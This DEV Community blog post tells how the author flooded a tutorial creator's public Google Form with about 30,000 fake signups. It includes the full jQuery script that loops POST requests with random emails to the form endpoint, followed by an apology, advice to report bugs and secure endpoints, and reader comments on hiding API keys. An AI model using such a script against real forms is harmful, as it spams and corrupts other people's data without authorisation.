DEV Community

Cover image for Sorry, I hacked you.
Anthony Lombardi
Anthony Lombardi

Posted on

Sorry, I hacked you.

Hackers don’t take realities of the world for granted; they seek to break and rebuild what they don’t like. They seek to outsmart the world. — Sarah Lacy

Prefix:

I was reviewing a tutorial from YouTube. In the tutorial, they posted a site with a form that allowed you to sign up to a class of theirs. I like their work so I was intrigued into how they wrote the backend for the form since they’re a front-end developer. I am always intrigued how someone else wrote code. Since this part had to connect to some kind of backend to send the data from the form to something, I wanted to see how that happened.

In the video the person explained how it was hooked up to Google Sheets. The form sent the info to google sheets and allowed them to collect name and email in a spread sheet.

This was intriguing. How did they connect to Google? Was it some API key? OAuth? Since in their video, they posted the code in git for everyone, I wanted to check the code.

<form class="jc-form" action="#" id="ss-form" target="_self">
  <input class="jc-name ss-q-short" 
         id="entry_1111111111" 
         type="text" name="entry.1111111111" 
         value="" 
         dir="auto" 
         placeholder="Name"/>

  <input class="jc-email ss-q-short" 
         id="entry_1111111117" 
         type="text" 
         name="entry.1111111117" 
         value="" 
         dir="auto" 
         title="" placeholder="Email"/>

  <input type="hidden" 
         name="draftResponse" 
         value="[,,&amp;quot;jeberish-google-id&amp;quot;]"/>

  <input type="hidden" name="pageHistory" value="0"/>
  <input type="hidden" name="fvv" value="0"/>
  <input type="hidden" name="fbzx" value="jeberish-google-id"/>
  <input class="jc-submit" 
         id="Submit" 
         type="submit" 
         name="submit" 
         value="Tell me when it's ready!"/>
</form>
Enter fullscreen mode Exit fullscreen mode

In this HTML, it appears that there is some kind of honeypot. There is the Google ID you need to submit. There is another hidden field that doesn’t seem to be used(I will show you why later). There is also the two input fields that have ID looking values. We will save that for later as well.

function postContactToGoogle(f) {

  var email = f.find('.form-email').val();
  var name = f.find('.form-name').val();

  $.ajax({
    url: "https://docs.google.com/forms/d/jeberish-google-id/formResponse",
    data: {
      "entry_1111111111": email,
      "entry_1111111117": name
    },
    type: "POST",
    dataType: "xml",
    statusCode: {
      0: function() {
        window.location.replace("/path/thanks");

      },
      200: function() {
        window.location.replace("/path/thanks");
      }
    }
  });
}
Enter fullscreen mode Exit fullscreen mode

This sends info over Ajax to a Google Docs file. If you take the Google user's ID from the form and take the form fields data values, you can send any information you want using the same code.

oh know!

The Kill:

So I looked at this telling myself it was wrong — or at least there had to be a better way of doing something like that. Curious if I was right, I wrote a script and ran it.

// generate random letters to make emails unique. 
function rText(){
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for( var i=0; i < 5; i++ ) {
      text += possible.charAt(Math.floor(Math.random() * possible.length));
    }
    return text;
}
function generateEmail(){
  var username, email, full_email;
  username = 'HueBin_';
  email = 'Hacked';
  full_email = username + rText() + '@'+ rText() + email+'.com';
  return full_email;
}
function postContactToGoogle() {
  var url = "https://docs.google.com/forms/d/jeberish-google-id/formResponse";
  $.ajax({
    url: url,
    data: {
      "entry_1111111111": generateEmail(),
      "entry_1111111117": "HueBin_",
    },
    type: "POST",
    dataType: "xml",
    crossDomain : true,
    statusCode: {
      0: function(data) {
        console.log("BAD!",data);
},
      200: function(data) {
        console.log("GOOD",data);
      }
    }
  });
}
$(function(){
  var num = 50000; // yes thats 50,000!
    for (var i = 0; i < num; i++) {
      setTimeout(postContactToGoogle(), 500); 
    }
});
Enter fullscreen mode Exit fullscreen mode

This posted info into the database that looked similar to this:

Name: HueBin_, Email: HueBin_piMt6@vwq4WHacked.com
Name: HueBin_, Email: HueBin_f7Txq@pzLm6Hacked.com
Name: HueBin_, Email: HueBin_YBTNf@TluieHacked.com
Name: HueBin_, Email: HueBin_QYqVm@jYWuUHacked.com
Enter fullscreen mode Exit fullscreen mode

HueBin Hacked?! C’mom thats a good pun!.

The Aftermath:

I was only able to get roughly 30k through my web browser before my browser froze. Suffice it to say, I wrote an email stating that I was really really sorry about it. More so, I meant to contact them sooner, but I just entered another year in my life and I took the weekend off from electronics (mainly because of beer)

Conclusion:

Don’t smoke crack! -LT

No, seriously when putting anything out into the public's eye, do not put the keys to the castle out there for everyone to see. When sending info over Ajax the data should be secured such as whitelisting the website where the form is only or sending confirmation emails to weed out hacks like this. Also, don’t go my route. Instead, inform the person of potential bugs rather than acting on exploiting them.

Top comments (6)

Collapse
 
hg77 profile image
hg77

So what's the hack?
That you could sign up multiple times? Without paying?
To me it looks like the google form was used as intended.
It's public. It doesn't matter that you can spam it with some js.
You could also place a monkey in front of your phone and spam it.
Or "hack" wikipedia and change a random entry.

Collapse
 
mlabarca profile image
Mauricio Labarca

Anyone can exploit it if you leave the api keys exposed, its just a manner of coincidence that bot had scraped it off the github source. Using environment variables in the server is a simple and much safer way.

Collapse
 
kaydacode profile image
Kim Arnett 

Agree !! See this a lot in mobile apps too. Do you know what a good way to hide keys is? I see some people suggest putting them in a server call, but that doesn't make them any safer IMO. Thoughts?

Collapse
 
booradley profile image
boo radley

Secret management is becoming a core concern for configuration management. There's a number of tools that deal with this -- check out writeups like Infrastructure Secret Management Software Overview for details and comparisons

Collapse
 
t0nylombardi profile image
Anthony Lombardi

Hacking a server is a lot harder IMO. Putting API keys in environment variables on the server is the most practical idea. I feel It is a lot easier to do "man-in-the-middle" attack on a website to manipulate data.

You can filter access to your server to allow data coming in from a few points. Also logging in through ssh with RSA Keys make it almost impractical to break that password.

Collapse
 
faenor profile image
faenor

Several days ago I came across some post (altough old, I think still valid), explaining a method on how to store keys and passwords in your public repo.

zero-one.io/blog/2015/04/14/safely...